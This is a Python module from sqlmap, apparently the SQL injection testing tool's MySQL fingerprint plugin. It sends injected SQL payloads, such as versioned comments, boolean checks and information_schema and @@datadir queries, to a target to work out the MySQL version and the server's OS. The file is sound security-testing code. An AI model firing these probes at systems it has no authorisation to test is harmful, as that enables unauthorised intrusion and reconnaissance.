sqlmap/plugins/dbms/mysql/fingerprint.py
Bernardo Damele 7e3b24afe6 Rewrite from scratch the detection engine. Now it performs checks defined in payload.xml. User can specify its own.
All (hopefully) functionalities should still be working.
Added two switches, --level and --risk to specify which injection tests and boundaries to use.
The main advantage now is that sqlmap is able to identify initially which injection types are present so for instance if boolean-based blind is not supported, but error-based is, sqlmap will keep going and work!
2010-11-28 18:10:54 +00:00

274 lines
10 KiB
Python

#!/usr/bin/env python
"""
$Id$
Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
See the file 'doc/COPYING' for copying permission
"""
import re
from lib.core.agent import agent
from lib.core.common import formatDBMSfp
from lib.core.common import formatFingerprint
from lib.core.common import getHtmlErrorFp
from lib.core.common import getUnicode
from lib.core.common import randomInt
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.enums import DBMS
from lib.core.enums import PLACE
from lib.core.session import setDbms
from lib.core.settings import MYSQL_ALIASES
from lib.request import inject
from lib.request.connect import Connect as Request
from plugins.generic.fingerprint import Fingerprint as GenericFingerprint
class Fingerprint(GenericFingerprint):
def __init__(self):
GenericFingerprint.__init__(self)
def __commentCheck(self):
infoMsg = "executing MySQL comment injection fingerprint"
logger.info(infoMsg)
query = agent.prefixQuery("/* NoValue */")
query = agent.suffixQuery(query)
payload = agent.payload(newValue=query)
result = Request.queryPage(payload)
if not result:
warnMsg = "unable to perform MySQL comment injection"
logger.warn(warnMsg)
return None
# MySQL valid versions updated on 01/2010
versions = (
(32200, 32234), # MySQL 3.22
(32300, 32360), # MySQL 3.23
(40000, 40032), # MySQL 4.0
(40100, 40123), # MySQL 4.1
(50000, 50090), # MySQL 5.0
(50100, 50142), # MySQL 5.1
(50400, 50405), # MySQL 5.4
(50500, 50502), # MySQL 5.5
(60000, 60011), # MySQL 6.0
)
for element in versions:
prevVer = None
for version in range(element[0], element[1] + 1):
randInt = randomInt()
version = getUnicode(version)
query = agent.prefixQuery("/*!%s AND %d=%d*/" % (version, randInt, randInt + 1))
query = agent.suffixQuery(query)
payload = agent.payload(newValue=query)
result = Request.queryPage(payload)
if result:
if not prevVer:
prevVer = version
if version[0] == "3":
midVer = prevVer[1:3]
else:
midVer = prevVer[2]
trueVer = "%s.%s.%s" % (prevVer[0], midVer, prevVer[3:])
return trueVer
prevVer = version
return None
def getFingerprint(self):
value = ""
wsOsFp = formatFingerprint("web server", kb.headersFp)
if wsOsFp:
value += "%s\n" % wsOsFp
if kb.data.banner:
dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp)
if dbmsOsFp:
value += "%s\n" % dbmsOsFp
value += "back-end DBMS: "
actVer = formatDBMSfp()
if not conf.extensiveFp:
value += actVer
return value
comVer = self.__commentCheck()
blank = " " * 15
value += "active fingerprint: %s" % actVer
if comVer:
comVer = formatDBMSfp([comVer])
value += "\n%scomment injection fingerprint: %s" % (blank, comVer)
if kb.bannerFp:
banVer = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None
if re.search("-log$", kb.data.banner):
banVer += ", logging enabled"
banVer = formatDBMSfp([banVer])
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
htmlErrorFp = getHtmlErrorFp()
if htmlErrorFp:
value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
return value
def checkDbms(self):
"""
References for fingerprint:
* http://dev.mysql.com/doc/refman/5.0/en/news-5-0-x.html (up to 5.0.89)
* http://dev.mysql.com/doc/refman/5.1/en/news-5-1-x.html (up to 5.1.42)
* http://dev.mysql.com/doc/refman/5.4/en/news-5-4-x.html (up to 5.4.4)
* http://dev.mysql.com/doc/refman/5.5/en/news-5-5-x.html (up to 5.5.0)
* http://dev.mysql.com/doc/refman/6.0/en/news-6-0-x.html (manual has been withdrawn)
"""
if conf.dbms in MYSQL_ALIASES and kb.dbmsVersion and kb.dbmsVersion[0].isdigit():
setDbms("%s %s" % (DBMS.MYSQL, kb.dbmsVersion[0]))
if int(kb.dbmsVersion[0]) >= 5:
kb.data.has_information_schema = True
self.getBanner()
if not conf.extensiveFp:
return True
infoMsg = "testing MySQL"
logger.info(infoMsg)
randInt = getUnicode(randomInt(1))
payload = agent.fullPayload("AND CONNECTION_ID()=CONNECTION_ID()")
result = Request.queryPage(payload)
if result:
infoMsg = "confirming MySQL"
logger.info(infoMsg)
payload = agent.fullPayload("AND ISNULL(1/0)" if kb.injection.place != PLACE.URI else "AND ISNULL(1 DIV 0)")
result = Request.queryPage(payload)
if not result:
warnMsg = "the back-end DBMS is not MySQL"
logger.warn(warnMsg)
return False
# Determine if it is MySQL >= 5.0.0
if inject.getValue("SELECT %s FROM information_schema.TABLES LIMIT 0, 1" % randInt, charsetType=2, suppressOutput=True) == randInt:
kb.data.has_information_schema = True
kb.dbmsVersion = [">= 5.0.0"]
setDbms("%s 5" % DBMS.MYSQL)
self.getBanner()
if not conf.extensiveFp:
return True
# Check if it is MySQL >= 5.5.0
if inject.getValue("SELECT MID(TO_SECONDS(950501), 1, 1)", unpack=False, charsetType=2, suppressOutput=True) == "6":
kb.dbmsVersion = [">= 5.5.0"]
# Check if it is MySQL >= 5.1.2 and < 5.5.0
elif inject.getValue("SELECT MID(@@table_open_cache, 1, 1)", unpack=False):
if inject.getValue("SELECT %s FROM information_schema.GLOBAL_STATUS LIMIT 0, 1" % randInt, unpack=False, charsetType=2, suppressOutput=True) == randInt:
kb.dbmsVersion = [">= 5.1.12", "< 5.5.0"]
elif inject.getValue("SELECT %s FROM information_schema.PROCESSLIST LIMIT 0, 1" % randInt, unpack=False, charsetType=2, suppressOutput=True) == randInt:
kb.dbmsVersion = [">= 5.1.7", "< 5.1.12"]
elif inject.getValue("SELECT %s FROM information_schema.PARTITIONS LIMIT 0, 1" % randInt, unpack=False, charsetType=2, suppressOutput=True) == randInt:
kb.dbmsVersion = ["= 5.1.6"]
elif inject.getValue("SELECT %s FROM information_schema.PLUGINS LIMIT 0, 1" % randInt, unpack=False, charsetType=2, suppressOutput=True) == randInt:
kb.dbmsVersion = [">= 5.1.5", "< 5.1.6"]
else:
kb.dbmsVersion = [">= 5.1.2", "< 5.1.5"]
# Check if it is MySQL >= 5.0.0 and < 5.1.2
elif inject.getValue("SELECT MID(@@hostname, 1, 1)", unpack=False, suppressOutput=True):
kb.dbmsVersion = [">= 5.0.38", "< 5.1.2"]
elif inject.getValue("SELECT 1 FROM DUAL", charsetType=1, suppressOutput=True) == "1":
kb.dbmsVersion = [">= 5.0.11", "< 5.0.38"]
elif inject.getValue("SELECT DATABASE() LIKE SCHEMA()", suppressOutput=True):
kb.dbmsVersion = [">= 5.0.2", "< 5.0.11"]
else:
kb.dbmsVersion = [">= 5.0.0", "<= 5.0.1"]
# Otherwise assume it is MySQL < 5.0.0
else:
kb.dbmsVersion = ["< 5.0.0"]
setDbms("%s 4" % DBMS.MYSQL)
self.getBanner()
if not conf.extensiveFp:
return True
# Check which version of MySQL < 5.0.0 it is
coercibility = inject.getValue("SELECT COERCIBILITY(USER())", suppressOutput=True)
if coercibility == "3":
kb.dbmsVersion = [">= 4.1.11", "< 5.0.0"]
elif coercibility == "2":
kb.dbmsVersion = [">= 4.1.1", "< 4.1.11"]
elif inject.getValue("SELECT CURRENT_USER()", suppressOutput=True):
kb.dbmsVersion = [">= 4.0.6", "< 4.1.1"]
if inject.getValue("SELECT CHARSET(CURRENT_USER())", suppressOutput=True) == "utf8":
kb.dbmsVersion = ["= 4.1.0"]
else:
kb.dbmsVersion = [">= 4.0.6", "< 4.1.0"]
elif inject.getValue("SELECT FOUND_ROWS()", charsetType=1, suppressOutput=True) == "0":
kb.dbmsVersion = [">= 4.0.0", "< 4.0.6"]
elif inject.getValue("SELECT CONNECTION_ID()", suppressOutput=True):
kb.dbmsVersion = [">= 3.23.14", "< 4.0.0"]
elif re.search("@[\w\.\-\_]+", inject.getValue("SELECT USER()", suppressOutput=True)):
kb.dbmsVersion = [">= 3.22.11", "< 3.23.14"]
else:
kb.dbmsVersion = ["< 3.22.11"]
return True
else:
warnMsg = "the back-end DBMS is not MySQL"
logger.warn(warnMsg)
return False
def checkDbmsOs(self, detailed=False):
if kb.os:
return
infoMsg = "fingerprinting the back-end DBMS operating system"
logger.info(infoMsg)
datadirSubstr = inject.getValue("SELECT MID(@@datadir, 1, 1)", unpack=False, suppressOutput=True)
if datadirSubstr == "/":
kb.os = "Linux"
else:
kb.os = "Windows"
infoMsg = "the back-end DBMS operating system is %s" % kb.os
logger.info(infoMsg)
self.cleanup(onlyFileTbl=True)